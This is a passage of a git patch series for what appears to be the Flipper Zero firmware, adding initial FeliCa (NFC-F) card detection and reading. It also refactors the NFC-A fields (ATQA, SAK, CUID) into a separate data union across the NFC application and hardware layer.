b/lib/digital_signal/digital_signal.c @@ -131,19 +131,19 @@ uint32_t digital_signal_get_edge(DigitalSignal* signal, uint32_t edge_num) { void digital_signal_prepare_arr(DigitalSignal* signal) { furi_assert(signal); - furi_assert(signal->gpio); - furi_assert(signal->gpio->pin); /* set up signal polarities */ - uint32_t bit_set = signal->gpio->pin; - uint32_t bit_reset = signal->gpio->pin << 16; + if(signal->gpio) { + uint32_t bit_set = signal->gpio->pin; + uint32_t bit_reset = signal->gpio->pin << 16; - if(signal->start_level) { - signal->gpio_buff[0] = bit_set; - signal->gpio_buff[1] = bit_reset; - } else { - signal->gpio_buff[0] = bit_reset; - signal->gpio_buff[1] = bit_set; + if(signal->start_level) { + signal->gpio_buff[0] = bit_set; + signal->gpio_buff[1] = bit_reset; + } else { + signal->gpio_buff[0] = bit_reset; + signal->gpio_buff[1] = bit_set; + } } /* set up edge timings */ From eaa2dea07588f4372efd6e2a7078c21f819d948c Mon Sep 17 00:00:00 2001 From: nullableVoidPtr <30564701+nullableVoidPtr@users.noreply.github.com> Date: Tue, 6 Dec 2022 02:31:25 +0800 Subject: [PATCH 007/329] NFC: initial support for NFC-F (FeliCa) --- .../main/nfc/helpers/nfc_generators.c | 22 +- applications/main/nfc/nfc_cli.c | 31 +- .../main/nfc/scenes/nfc_scene_config.h | 1 + .../scenes/nfc_scene_felica_read_success.c | 80 +++ .../main/nfc/scenes/nfc_scene_nfc_data_info.c | 6 +- .../nfc/scenes/nfc_scene_nfca_read_success.c | 6 +- applications/main/nfc/scenes/nfc_scene_read.c | 5 + .../main/nfc/scenes/nfc_scene_set_atqa.c | 2 +- .../main/nfc/scenes/nfc_scene_set_sak.c | 2 +- firmware/targets/f7/api_symbols.csv | 5 +- firmware/targets/f7/furi_hal/furi_hal_nfc.c | 35 +- .../targets/furi_hal_include/furi_hal_nfc.h | 17 +- lib/nfc/helpers/reader_analyzer.c | 11 +- lib/nfc/nfc_device.c | 10 +- lib/nfc/nfc_device.h | 5 + lib/nfc/nfc_types.c | 60 ++ lib/nfc/nfc_types.h | 2 + lib/nfc/nfc_worker.c | 84 ++- lib/nfc/nfc_worker.h | 1 + lib/nfc/nfc_worker_i.h | 1 + lib/nfc/parsers/plantain_4k_parser.c | 4 +- lib/nfc/parsers/plantain_parser.c | 4 +- lib/nfc/parsers/troika_4k_parser.c | 4 +- lib/nfc/parsers/troika_parser.c | 4 +- lib/nfc/parsers/two_cities.c | 4 +- lib/nfc/protocols/felica.c | 572 ++++++++++++++++++ lib/nfc/protocols/felica.h | 173 ++++++ 27 files changed, 1074 insertions(+), 77 deletions(-) create mode 100644 applications/main/nfc/scenes/nfc_scene_felica_read_success.c create mode 100644 lib/nfc/protocols/felica.c create mode 100644 lib/nfc/protocols/felica.h diff --git a/applications/main/nfc/helpers/nfc_generators.c b/applications/main/nfc/helpers/nfc_generators.c index 5f0527c6a..444207f9f 100644 --- a/applications/main/nfc/helpers/nfc_generators.c +++ b/applications/main/nfc/helpers/nfc_generators.c @@ -63,9 +63,9 @@ static void nfc_generate_mf_ul_common(NfcDeviceData* data) { data->nfc_data.interface = FuriHalNfcInterfaceRf; data->nfc_data.uid_len = 7; nfc_generate_mf_ul_uid(data->nfc_data.uid); - data->nfc_data.atqa[0] = 0x44; - data->nfc_data.atqa[1] = 0x00; - data->nfc_data.sak = 0x00; + data->nfc_data.a_data.atqa[0] = 0x44; + data->nfc_data.a_data.atqa[1] = 0x00; + data->nfc_data.a_data.sak = 0x00; data->protocol = NfcDeviceProtocolMifareUl; } @@ -75,9 +75,9 @@ static void data->nfc_data.interface = FuriHalNfcInterfaceRf; data->nfc_data.uid_len = uid_len; nfc_generate_mf_classic_block_0(data->mf_classic_data.block[0].value, uid_len); - data->nfc_data.atqa[0] = 0x44; - data->nfc_data.atqa[1] = 0x00; - data->nfc_data.sak = 0x08; + data->nfc_data.a_data.atqa[0] = 0x44; + data->nfc_data.a_data.atqa[1] = 0x00; + data->nfc_data.a_data.sak = 0x08; data->protocol = NfcDeviceProtocolMifareClassic; data->mf_classic_data.type = type; } @@ -231,9 +231,9 @@ static void mful->data_size = num_pages * 4; mful->data_read = mful->data_size; memcpy(mful->data, data->nfc_data.uid, data->nfc_data.uid_len); - mful->data[7] = data->nfc_data.sak; - mful->data[8] = data->nfc_data.atqa[0]; - mful->data[9] = data->nfc_data.atqa[1]; + mful->data[7] = data->nfc_data.a_data.sak; + mful->data[8] = data->nfc_data.a_data.atqa[0]; + mful->data[9] = data->nfc_data.a_data.atqa[1]; uint16_t config_register_page; uint16_t session_register_page; @@ -338,7 +338,7 @@ void nfc_generate_mf_classic(NfcDeviceData* data, uint8_t uid_len, MfClassicType mf_classic_set_block_read(mfc, i, &mfc->block[i]); } // Set SAK to 18 - data->nfc_data.sak = 0x18; + data->nfc_data.a_data.sak = 0x18; } else if(type == MfClassicType1k) { // Set every block to 0xFF @@ -351,7 +351,7 @@ void nfc_generate_mf_classic(NfcDeviceData* data, uint8_t uid_len, MfClassicType mf_classic_set_block_read(mfc, i, &mfc->block[i]); } // Set SAK to 08 - data->nfc_data.sak = 0x08; + data->nfc_data.a_data.sak = 0x08; } mfc->type = type; diff --git a/applications/main/nfc/nfc_cli.c b/applications/main/nfc/nfc_cli.c index a6475ca68..87aa6748d 100644 --- a/applications/main/nfc/nfc_cli.c +++ b/applications/main/nfc/nfc_cli.c @@ -33,12 +33,25 @@ static void nfc_cli_detect(Cli* cli, FuriString* args) { cmd_exit |= cli_cmd_interrupt_received(cli); if(furi_hal_nfc_detect(&dev_data, 400)) { printf("found: %s ", nfc_get_dev_type(dev_data.type)); - printf("UID length: %d, UID:", dev_data.uid_len); - for(size_t i = 0; i < dev_data.uid_len; i++) { - printf("%02X", dev_data.uid[i]); + if(dev_data.type == FuriHalNfcTypeA) { + printf("UID length: %d, UID:", dev_data.uid_len); + for(size_t i = 0; i < dev_data.uid_len; i++) { + printf("%02X", dev_data.uid[i]); + } + printf("\r\n"); + break; + } else if(dev_data.type == FuriHalNfcTypeF) { + printf("IDm:"); + for(size_t i = 0; i < 8; i++) { + printf("%02X", dev_data.uid[i]); + } + printf("\r\nPMm:"); + for(size_t i = 0; i < 8; i++) { + printf("%02X", dev_data.f_data.pmm[i]); + } + printf("\r\n"); + break; } - printf("\r\n"); - break; } furi_hal_nfc_sleep(); furi_delay_ms(50); @@ -61,13 +74,15 @@ static void nfc_cli_emulate(Cli* cli, FuriString* args) { FuriHalNfcDevData params = { .uid = {0x36, 0x9C, 0xe7, 0xb1, 0x0A, 0xC1, 0x34}, .uid_len = 7, - .atqa = {0x44, 0x00}, - .sak = 0x00, + .a_data = { + .atqa = {0x44, 0x00}, + .sak = 0x00, + }, .type = FuriHalNfcTypeA, }; while(!cli_cmd_interrupt_received(cli)) { - if(furi_hal_nfc_listen(params.uid, params.uid_len, params.atqa, params.sak, false, 100)) { + if(furi_hal_nfc_listen(params.uid, params.uid_len, params.a_data.atqa, params.a_data.sak, false, 100)) { printf("Reader detected\r\n"); furi_hal_nfc_sleep(); } diff --git a/applications/main/nfc/scenes/nfc_scene_config.h b/applications/main/nfc/scenes/nfc_scene_config.h index ce51d000d..07386bf22 100644 --- a/applications/main/nfc/scenes/nfc_scene_config.h +++ b/applications/main/nfc/scenes/nfc_scene_config.h @@ -45,6 +45,7 @@ ADD_SCENE(nfc, mf_classic_update_success, MfClassicUpdateSuccess) ADD_SCENE(nfc, mf_classic_wrong_card, MfClassicWrongCard) ADD_SCENE(nfc, emv_read_success, EmvReadSuccess) ADD_SCENE(nfc, emv_menu, EmvMenu) +ADD_SCENE(nfc, felica_read_success, FelicaReadSuccess) ADD_SCENE(nfc, emulate_apdu_sequence, EmulateApduSequence) ADD_SCENE(nfc, device_info, DeviceInfo) ADD_SCENE(nfc, delete, Delete) diff --git a/applications/main/nfc/scenes/nfc_scene_felica_read_success.c b/applications/main/nfc/scenes/nfc_scene_felica_read_success.c new file mode 100644 index 000000000..d63a04837 --- /dev/null +++ b/applications/main/nfc/scenes/nfc_scene_felica_read_success.c @@ -0,0 +1,80 @@ +#include "../nfc_i.h" + +void nfc_scene_felica_read_success_widget_callback( + GuiButtonType result, + InputType type, + void* context) { + furi_assert(context); + Nfc* nfc = context; + + if(type == InputTypeShort) { + view_dispatcher_send_custom_event(nfc->view_dispatcher, result); + } +} + +void nfc_scene_felica_read_success_on_enter(void* context) { + Nfc* nfc = context; + FelicaData* felica_data = &nfc->dev->dev_data.felica_data; + + // Setup view + Widget* widget = nfc->widget; + widget_add_button_element( + widget, GuiButtonTypeLeft, "Retry", nfc_scene_felica_read_success_widget_callback, nfc); + + FuriString* temp_str = NULL; + if(furi_string_size(nfc->dev->dev_data.parsed_data)) { + temp_str = furi_string_alloc_set(nfc->dev->dev_data.parsed_data); + } else { + temp_str = furi_string_alloc_printf("\e#%s", nfc_felica_type(felica_data->type)); + + FelicaSystem* current_system = felica_data->systems; + while(current_system) { + furi_string_cat_printf(temp_str, "\nSystem %04X (#%d):", current_system->code, current_system->number); + furi_string_cat_printf(temp_str, "\nIDm:\n "); + for(size_t i = 0; i < 8; i++) { + furi_string_cat_printf(temp_str, "%02X", current_system->idm[i]); + } + furi_string_cat_printf(temp_str, "\nPMm:\n "); + for(size_t i = 0; i < 8; i++) { + furi_string_cat_printf(temp_str, "%02X", current_system->pmm[i]); + } + + current_system = current_system->next; + } + } + + widget_add_text_scroll_element(widget, 0, 0, 128, 52, furi_string_get_cstr(temp_str)); + furi_string_free(temp_str); + + notification_message_block(nfc->notifications, &sequence_set_green_255); + + view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewWidget); +} + +bool nfc_scene_felica_read_success_on_event(void* context, SceneManagerEvent event) { + Nfc* nfc = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == GuiButtonTypeLeft) { + scene_manager_next_scene(nfc->scene_manager, NfcSceneRetryConfirm); + consumed = true; + } else if(event.event == GuiButtonTypeRight) { + scene_manager_next_scene(nfc->scene_manager, NfcSceneNfcaMenu); + consumed = true; + } + } else if(event.type == SceneManagerEventTypeBack) { + scene_manager_next_scene(nfc->scene_manager, NfcSceneExitConfirm); + consumed = true; + } + return consumed; +} + +void nfc_scene_felica_read_success_on_exit(void* context) { + Nfc* nfc = context; + + notification_message_block(nfc->notifications, &sequence_reset_green); + + // Clear view + widget_reset(nfc->widget); +} diff --git a/applications/main/nfc/scenes/nfc_scene_nfc_data_info.c b/applications/main/nfc/scenes/nfc_scene_nfc_data_info.c index d1767a458..9586e247d 100644 --- a/applications/main/nfc/scenes/nfc_scene_nfc_data_info.c +++ b/applications/main/nfc/scenes/nfc_scene_nfc_data_info.c @@ -45,14 +45,14 @@ void nfc_scene_nfc_data_info_on_enter(void* context) { } // Set tag iso data - char iso_type = FURI_BIT(nfc_data->sak, 5) ? '4' : '3'; + char iso_type = FURI_BIT(nfc_data->a_data.sak, 5) ? '4' : '3'; furi_string_cat_printf(temp_str, "ISO 14443-%c (NFC-A)\n", iso_type); furi_string_cat_printf(temp_str, "UID:"); for(size_t i = 0; i < nfc_data->uid_len; i++) { furi_string_cat_printf(temp_str, " %02X", nfc_data->uid[i]); } - furi_string_cat_printf(temp_str, "\nATQA: %02X %02X ", nfc_data->atqa[1], nfc_data->atqa[0]); - furi_string_cat_printf(temp_str, " SAK: %02X", nfc_data->sak); + furi_string_cat_printf(temp_str, "\nATQA: %02X %02X ", nfc_data->a_data.atqa[1], nfc_data->a_data.atqa[0]); + furi_string_cat_printf(temp_str, " SAK: %02X", nfc_data->a_data.sak); // Set application specific data if(protocol == NfcDeviceProtocolMifareDesfire) { diff --git a/applications/main/nfc/scenes/nfc_scene_nfca_read_success.c b/applications/main/nfc/scenes/nfc_scene_nfca_read_success.c index a38f31a98..0e798452c 100644 --- a/applications/main/nfc/scenes/nfc_scene_nfca_read_success.c +++ b/applications/main/nfc/scenes/nfc_scene_nfca_read_success.c @@ -24,14 +24,14 @@ void nfc_scene_nfca_read_success_on_enter(void* context) { notification_message_block(nfc->notifications, &sequence_set_green_255); - char iso_type = FURI_BIT(data->sak, 5) ? '4' : '3'; + char iso_type = FURI_BIT(data->a_data.sak, 5) ? '4' : '3'; furi_string_cat_printf(temp_str, "ISO 14443-%c (NFC-A)\n", iso_type); furi_string_cat_printf(temp_str, "UID:"); for(size_t i = 0; i < data->uid_len; i++) { furi_string_cat_printf(temp_str, " %02X", data->uid[i]); } - furi_string_cat_printf(temp_str, "\nATQA: %02X %02X ", data->atqa[1], data->atqa[0]); - furi_string_cat_printf(temp_str, " SAK: %02X", data->sak); + furi_string_cat_printf(temp_str, "\nATQA: %02X %02X ", data->a_data.atqa[1], data->a_data.atqa[0]); + furi_string_cat_printf(temp_str, " SAK: %02X", data->a_data.sak); widget_add_text_scroll_element(widget, 0, 0, 128, 52, furi_string_get_cstr(temp_str)); furi_string_free(temp_str); diff --git a/applications/main/nfc/scenes/nfc_scene_read.c b/applications/main/nfc/scenes/nfc_scene_read.c index a64d4d00d..0893f6476 100644 --- a/applications/main/nfc/scenes/nfc_scene_read.c +++ b/applications/main/nfc/scenes/nfc_scene_read.c @@ -97,6 +97,11 @@ bool nfc_scene_read_on_event(void* context, SceneManagerEvent event) { scene_manager_next_scene(nfc->scene_manager, NfcSceneDictNotFound); } consumed = true; + } else if(event.event == NfcWorkerEventReadFelica) { + notification_message(nfc->notifications, &sequence_success); + scene_manager_next_scene(nfc->scene_manager, NfcSceneFelicaReadSuccess); + DOLPHIN_DEED(DolphinDeedNfcReadSuccess); + consumed = true; } else if(event.event == NfcWorkerEventCardDetected) { nfc_scene_read_set_state(nfc, NfcSceneReadStateReading); nfc_blink_detect_start(nfc); diff --git a/applications/main/nfc/scenes/nfc_scene_set_atqa.c b/applications/main/nfc/scenes/nfc_scene_set_atqa.c index f2100aa19..c9c08eac2 100644 --- a/applications/main/nfc/scenes/nfc_scene_set_atqa.c +++ b/applications/main/nfc/scenes/nfc_scene_set_atqa.c @@ -17,7 +17,7 @@ void nfc_scene_set_atqa_on_enter(void* context) { nfc_scene_set_atqa_byte_input_callback, NULL, nfc, - nfc->dev->dev_data.nfc_data.atqa, + nfc->dev->dev_data.nfc_data.a_data.atqa, 2); view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewByteInput); } diff --git a/applications/main/nfc/scenes/nfc_scene_set_sak.c b/applications/main/nfc/scenes/nfc_scene_set_sak.c index 3c88f3504..4e123e7fb 100644 --- a/applications/main/nfc/scenes/nfc_scene_set_sak.c +++ b/applications/main/nfc/scenes/nfc_scene_set_sak.c @@ -17,7 +17,7 @@ void nfc_scene_set_sak_on_enter(void* context) { nfc_scene_set_sak_byte_input_callback, NULL, nfc, - &nfc->dev->dev_data.nfc_data.sak, + &nfc->dev->dev_data.nfc_data.a_data.sak, 1); view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewByteInput); } diff --git a/firmware/targets/f7/api_symbols.csv b/firmware/targets/f7/api_symbols.csv index 0f00ca908..a9999e20e 100644 --- a/firmware/targets/f7/api_symbols.csv +++ b/firmware/targets/f7/api_symbols.csv @@ -1,5 +1,5 @@ entry,status,name,type,params -Version,+,8.1,, +Version,+,8.2,, Header,+,applications/services/bt/bt_service/bt.h,, Header,+,applications/services/cli/cli.h,, Header,+,applications/services/cli/cli_vcp.h,, @@ -791,6 +791,9 @@ Function,-,fdim,double,"double, double" Function,-,fdimf,float,"float, float" Function,-,fdiml,long double,"long double, long double" Function,-,fdopen,FILE*,"int, const char*" +Function,-,felica_check_ic_type,_Bool,uint8_t* +Function,-,felica_get_ic_type,FelicaICType,uint8_t* +Function,-,felica_read_card,_Bool,"FuriHalNfcTxRxContext*, FelicaData*, uint8_t*, uint8_t*" Function,-,feof,int,FILE* Function,-,feof_unlocked,int,FILE* Function,-,ferror,int,FILE* diff --git a/firmware/targets/f7/furi_hal/furi_hal_nfc.c b/firmware/targets/f7/furi_hal/furi_hal_nfc.c index 2d27313ae..67321285e 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_nfc.c +++ b/firmware/targets/f7/furi_hal/furi_hal_nfc.c @@ -118,21 +118,36 @@ bool furi_hal_nfc_detect(FuriHalNfcDevData* nfc_data, uint32_t timeout) { if(detected) { if(dev_list[0].type == RFAL_NFC_LISTEN_TYPE_NFCA) { nfc_data->type = FuriHalNfcTypeA; - nfc_data->atqa[0] = dev_list[0].dev.nfca.sensRes.anticollisionInfo; - nfc_data->atqa[1] = dev_list[0].dev.nfca.sensRes.platformInfo; - nfc_data->sak = dev_list[0].dev.nfca.selRes.sak; + nfc_data->a_data.atqa[0] = dev_list[0].dev.nfca.sensRes.anticollisionInfo; + nfc_data->a_data.atqa[1] = dev_list[0].dev.nfca.sensRes.platformInfo; + nfc_data->a_data.sak = dev_list[0].dev.nfca.selRes.sak; uint8_t* cuid_start = dev_list[0].nfcid; if(dev_list[0].nfcidLen == 7) { cuid_start = &dev_list[0].nfcid[3]; } - nfc_data->cuid = (cuid_start[0] << 24) | (cuid_start[1] << 16) | (cuid_start[2] << 8) | - (cuid_start[3]); + nfc_data->a_data.cuid = (cuid_start[0] << 24) | (cuid_start[1] << 16) | + (cuid_start[2] << 8) | (cuid_start[3]); } else if( dev_list[0].type == RFAL_NFC_LISTEN_TYPE_NFCB || dev_list[0].type == RFAL_NFC_LISTEN_TYPE_ST25TB) { nfc_data->type = FuriHalNfcTypeB; } else if(dev_list[0].type == RFAL_NFC_LISTEN_TYPE_NFCF) { nfc_data->type = FuriHalNfcTypeF; + furi_assert(dev_list[0].nfcidLen == RFAL_NFCF_NFCID2_LEN); + memcpy( + &nfc_data->f_data.pmm[0], + dev_list[0].dev.nfcf.sensfRes.PAD0, + RFAL_NFCF_SENSF_RES_PAD0_LEN); + memcpy( + &nfc_data->f_data.pmm[RFAL_NFCF_SENSF_RES_PAD0_LEN], + dev_list[0].dev.nfcf.sensfRes.PAD1, + RFAL_NFCF_SENSF_RES_PAD1_LEN); + nfc_data->f_data.pmm[RFAL_NFCF_SENSF_RES_PAD0_LEN + RFAL_NFCF_SENSF_RES_PAD1_LEN] = + dev_list[0].dev.nfcf.sensfRes.MRTIcheck; + nfc_data->f_data.pmm[RFAL_NFCF_SENSF_RES_PAD0_LEN + RFAL_NFCF_SENSF_RES_PAD1_LEN + 1] = + dev_list[0].dev.nfcf.sensfRes.MRTIupdate; + nfc_data->f_data.pmm[RFAL_NFCF_SENSF_RES_PAD0_LEN + RFAL_NFCF_SENSF_RES_PAD1_LEN + 2] = + dev_list[0].dev.nfcf.sensfRes.PAD2; } else if(dev_list[0].type == RFAL_NFC_LISTEN_TYPE_NFCV) { nfc_data->type = FuriHalNfcTypeV; } @@ -352,15 +367,15 @@ void furi_hal_nfc_listen_start(FuriHalNfcDevData* nfc_data) { // Write PT Memory uint8_t pt_memory[15] = {}; memcpy(pt_memory, nfc_data->uid, nfc_data->uid_len); - pt_memory[10] = nfc_data->atqa[0]; - pt_memory[11] = nfc_data->atqa[1]; + pt_memory[10] = nfc_data->a_data.atqa[0]; + pt_memory[11] = nfc_data->a_data.atqa[1]; if(nfc_data->uid_len == 4) { - pt_memory[12] = nfc_data->sak & ~FURI_HAL_NFC_UID_INCOMPLETE; + pt_memory[12] = nfc_data->a_data.sak & ~FURI_HAL_NFC_UID_INCOMPLETE; } else { pt_memory[12] = FURI_HAL_NFC_UID_INCOMPLETE; } - pt_memory[13] = nfc_data->sak & ~FURI_HAL_NFC_UID_INCOMPLETE; - pt_memory[14] = nfc_data->sak & ~FURI_HAL_NFC_UID_INCOMPLETE; + pt_memory[13] = nfc_data->a_data.sak & ~FURI_HAL_NFC_UID_INCOMPLETE; + pt_memory[14] = nfc_data->a_data.sak & ~FURI_HAL_NFC_UID_INCOMPLETE; st25r3916WritePTMem(pt_memory, sizeof(pt_memory)); // Go to sense diff --git a/firmware/targets/furi_hal_include/furi_hal_nfc.h b/firmware/targets/furi_hal_include/furi_hal_nfc.h index d3f6de602..3d39495df 100644 --- a/firmware/targets/furi_hal_include/furi_hal_nfc.h +++ b/firmware/targets/furi_hal_include/furi_hal_nfc.h @@ -69,14 +69,25 @@ typedef enum { FuriHalNfcInterfaceNfcDep, } FuriHalNfcInterface; +typedef struct { + uint32_t cuid; + uint8_t atqa[2]; + uint8_t sak; +} FuriHalNfcADevData; + +typedef struct { + uint8_t pmm[8]; +} FuriHalNfcFDevData; + typedef struct { FuriHalNfcType type; FuriHalNfcInterface interface; uint8_t uid_len; uint8_t uid[10]; - uint32_t cuid; - uint8_t atqa[2]; - uint8_t sak; + union { + FuriHalNfcADevData a_data; + FuriHalNfcFDevData f_data; + }; } FuriHalNfcDevData; typedef void ( diff --git a/lib/nfc/helpers/reader_analyzer.c b/lib/nfc/helpers/reader_analyzer.c index 73b4b125e..87b9a4e6d 100644 --- a/lib/nfc/helpers/reader_analyzer.c +++ b/lib/nfc/helpers/reader_analyzer.c @@ -39,13 +39,14 @@ struct ReaderAnalyzer { const FuriHalNfcDevData reader_analyzer_nfc_data[] = { [ReaderAnalyzerNfcDataMfClassic] = - {.sak = 0x08, - .atqa = {0x44, 0x00}, - .interface = FuriHalNfcInterfaceRf, + {.interface = FuriHalNfcInterfaceRf, .type = FuriHalNfcTypeA, .uid_len = 7, .uid = {0x04, 0x77, 0x70, 0x2A, 0x23, 0x4F, 0x80}, - .cuid = 0x2A234F80}, + .a_data = { + .sak = 0x08, + .atqa = {0x44, 0x00}, + .cuid = 0x2A234F80}}, }; void reader_analyzer_parse(ReaderAnalyzer* instance, uint8_t* buffer, size_t size) { @@ -130,7 +131,7 @@ void reader_analyzer_start(ReaderAnalyzer* instance, ReaderAnalyzerMode mode) { instance->debug_log = nfc_debug_log_alloc(); } if(mode & ReaderAnalyzerModeMfkey) { - instance->mfkey32 = mfkey32_alloc(instance->nfc_data.cuid); + instance->mfkey32 = mfkey32_alloc(instance->nfc_data.a_data.cuid); if(instance->mfkey32) { mfkey32_set_callback(instance->mfkey32, reader_analyzer_mfkey_callback, instance); } diff --git a/lib/nfc/nfc_device.c b/lib/nfc/nfc_device.c index dc1faa34c..1ada4d888 100644 --- a/lib/nfc/nfc_device.c +++ b/lib/nfc/nfc_device.c @@ -1041,8 +1041,8 @@ bool nfc_device_save(NfcDevice* dev, const char* dev_name) { if(!flipper_format_write_comment_cstr(file, "UID, ATQA and SAK are common for all formats")) break; if(!flipper_format_write_hex(file, "UID", data->uid, data->uid_len)) break; - if(!flipper_format_write_hex(file, "ATQA", data->atqa, 2)) break; - if(!flipper_format_write_hex(file, "SAK", &data->sak, 1)) break; + if(!flipper_format_write_hex(file, "ATQA", data->a_data.atqa, 2)) break; + if(!flipper_format_write_hex(file, "SAK", &data->a_data.sak, 1)) break; // Save more data if necessary if(dev->format == NfcDeviceSaveFormatMifareUl) { if(!nfc_device_save_mifare_ul_data(file, dev)) break; @@ -1119,14 +1119,14 @@ static bool nfc_device_load_data(NfcDevice* dev, FuriString* path, bool show_dia if(!(data_cnt == 4 || data_cnt == 7)) break; data->uid_len = data_cnt; if(!flipper_format_read_hex(file, "UID", data->uid, data->uid_len)) break; - if(!flipper_format_read_hex(file, "ATQA", data->atqa, 2)) break; - if(!flipper_format_read_hex(file, "SAK", &data->sak, 1)) break; + if(!flipper_format_read_hex(file, "ATQA", data->a_data.atqa, 2)) break; + if(!flipper_format_read_hex(file, "SAK", &data->a_data.sak, 1)) break; // Load CUID uint8_t* cuid_start = data->uid; if(data->uid_len == 7) { cuid_start = &data->uid[3]; } - data->cuid = (cuid_start[0] << 24) | (cuid_start[1] << 16) | (cuid_start[2] << 8) | + data->a_data.cuid = (cuid_start[0] << 24) | (cuid_start[1] << 16) | (cuid_start[2] << 8) | (cuid_start[3]); // Parse other data if(dev->format == NfcDeviceSaveFormatMifareUl) { diff --git a/lib/nfc/nfc_device.h b/lib/nfc/nfc_device.h index 4be07f016..75c73a42b 100644 --- a/lib/nfc/nfc_device.h +++ b/lib/nfc/nfc_device.h @@ -11,6 +11,7 @@ #include #include #include +#include #ifdef __cplusplus extern "C" { @@ -32,6 +33,7 @@ typedef enum { NfcDeviceProtocolMifareUl, NfcDeviceProtocolMifareClassic, NfcDeviceProtocolMifareDesfire, + NfcDeviceProtocolFelica, } NfcProtocol; typedef enum { @@ -40,6 +42,7 @@ typedef enum { NfcDeviceSaveFormatMifareUl, NfcDeviceSaveFormatMifareClassic, NfcDeviceSaveFormatMifareDesfire, + NfcDeviceSaveFormatFelica, } NfcDeviceSaveFormat; typedef struct { @@ -58,6 +61,7 @@ typedef enum { NfcReadModeMfDesfire, NfcReadModeEMV, NfcReadModeNFCA, + NfcReadModeNFCF, } NfcReadMode; typedef struct { @@ -74,6 +78,7 @@ typedef struct { MfUltralightData mf_ul_data; MfClassicData mf_classic_data; MifareDesfireData mf_df_data; + FelicaData felica_data; }; FuriString* parsed_data; } NfcDeviceData; diff --git a/lib/nfc/nfc_types.c b/lib/nfc/nfc_types.c index 427628769..af6b3f16c 100644 --- a/lib/nfc/nfc_types.c +++ b/lib/nfc/nfc_types.c @@ -63,3 +63,63 @@ const char* nfc_mf_classic_type(MfClassicType type) { return "Mifare Classic"; } } + +const char* nfc_felica_type(FelicaICType type) { + if(type == FelicaICType576B) { + return "FeliCa Classic 576B"; + } else if(type == FelicaICType2K) { + return "FeliCa Classic 2K"; + } else if(type == FelicaICType4K) { + return "FeliCa Classic 4K"; + } else if(type == FelicaICTypeFRAM_4K) { + return "FeliCa Classic 4K (FRAM)"; + } else if(type == FelicaICTypeFRAM_9K) { + return "FeliCa Classic 9K"; + } else if(type == FelicaICTypeEMV_16K) { + return "FeliCa Classic EMV 16K"; + } else if(type == FelicaICTypeEMV_32K) { + return "FeliCa Classic EMV 32K"; + } else if(type == FelicaICTypeEMV_36K) { + return "FeliCa Classic EMV 36K"; + } else if(type == FelicaICTypeEMV_36K) { + return "FeliCa Classic EMV 36K"; + } else if(type == FelicaICTypeSD1WithDES) { + return "FeliCa SD1 (DES compatible)"; + } else if(type == FelicaICTypeSD1) { + return "FeliCa SD1"; + } else if(type == FelicaICTypeRC_SA08) { + return "FeliCa RC-SA08"; + } else if(type == FelicaICTypeSD2WithDES) { + return "FeliCa SD2 (DES compatible)"; + } else if(type == FelicaICTypeSD2_4K) { + return "FeliCa SD2 4K"; + } else if(type == FelicaICTypeSD2_6K) { + return "FeliCa SD2 6K"; + } else if(type == FelicaICTypeRC_SA24_6K) { + return "FeliCa RC-SA24 6K"; + } else if(type == FelicaICTypeRC_SA24_10K) { + return "FeliCa RC-SA24 6K"; + } else if(type == FelicaICTypeMobileIC_V1) { + return "Mobile FeliCa v1"; + } else if(type == FelicaICTypeMobileIC_V2) { + return "Mobile FeliCa v2"; + } else if(type == FelicaICTypeMobileIC_V3) { + return "Mobile FeliCa v3"; + } else if(type == FelicaICTypeMobileIC_V4) { + return "Mobile FeliCa v4"; + } else if(type == FelicaICTypeMobileIC_V4_1) { + return "Mobile FeliCa v4.1"; + } else if(type == FelicaICTypeLite) { + return "FeliCa Lite"; + } else if(type == FelicaICTypeLiteS) { + return "FeliCa Lite-S"; + } else if(type == FelicaICTypeLink) { + return "FeliCa Link"; + } else if(type == FelicaICTypePlug) { + return "FeliCa Plug"; + } else if(type == FelicaICTypeSuica) { + return "FeliCa (SuiCa)"; + } else { + return "FeliCa"; + } +} diff --git a/lib/nfc/nfc_types.h b/lib/nfc/nfc_types.h index fb53ce7c2..9d0bab1d7 100644 --- a/lib/nfc/nfc_types.h +++ b/lib/nfc/nfc_types.h @@ -9,3 +9,5 @@ const char* nfc_guess_protocol(NfcProtocol protocol); const char* nfc_mf_ul_type(MfUltralightType type, bool full_name); const char* nfc_mf_classic_type(MfClassicType type); + +const char* nfc_felica_type(FelicaICType type); \ No newline at end of file diff --git a/lib/nfc/nfc_worker.c b/lib/nfc/nfc_worker.c index 450428a18..efc99b5d3 100644 --- a/lib/nfc/nfc_worker.c +++ b/lib/nfc/nfc_worker.c @@ -292,20 +292,21 @@ static bool nfc_worker_read_bank_card(NfcWorker* nfc_worker, FuriHalNfcTxRxConte static bool nfc_worker_read_nfca(NfcWorker* nfc_worker, FuriHalNfcTxRxContext* tx_rx) { FuriHalNfcDevData* nfc_data = &nfc_worker->dev_data->nfc_data; + FuriHalNfcADevData* a_data = &nfc_data->a_data; bool card_read = false; furi_hal_nfc_sleep(); - if(mf_ul_check_card_type(nfc_data->atqa[0], nfc_data->atqa[1], nfc_data->sak)) { + if(mf_ul_check_card_type(a_data->atqa[0], a_data->atqa[1], a_data->sak)) { FURI_LOG_I(TAG, "Mifare Ultralight / NTAG detected"); nfc_worker->dev_data->protocol = NfcDeviceProtocolMifareUl; card_read = nfc_worker_read_mf_ultralight(nfc_worker, tx_rx); - } else if(mf_classic_check_card_type(nfc_data->atqa[0], nfc_data->atqa[1], nfc_data->sak)) { + } else if(mf_classic_check_card_type(a_data->atqa[0], a_data->atqa[1], a_data->sak)) { FURI_LOG_I(TAG, "Mifare Classic detected"); nfc_worker->dev_data->protocol = NfcDeviceProtocolMifareClassic; nfc_worker->dev_data->mf_classic_data.type = - mf_classic_get_classic_type(nfc_data->atqa[0], nfc_data->atqa[1], nfc_data->sak); + mf_classic_get_classic_type(a_data->atqa[0], a_data->atqa[1], a_data->sak); card_read = nfc_worker_read_mf_classic(nfc_worker, tx_rx); - } else if(mf_df_check_card_type(nfc_data->atqa[0], nfc_data->atqa[1], nfc_data->sak)) { + } else if(mf_df_check_card_type(a_data->atqa[0], a_data->atqa[1], a_data->sak)) { FURI_LOG_I(TAG, "Mifare DESFire detected"); nfc_worker->dev_data->protocol = NfcDeviceProtocolMifareDesfire; if(!nfc_worker_read_mf_desfire(nfc_worker, tx_rx)) { 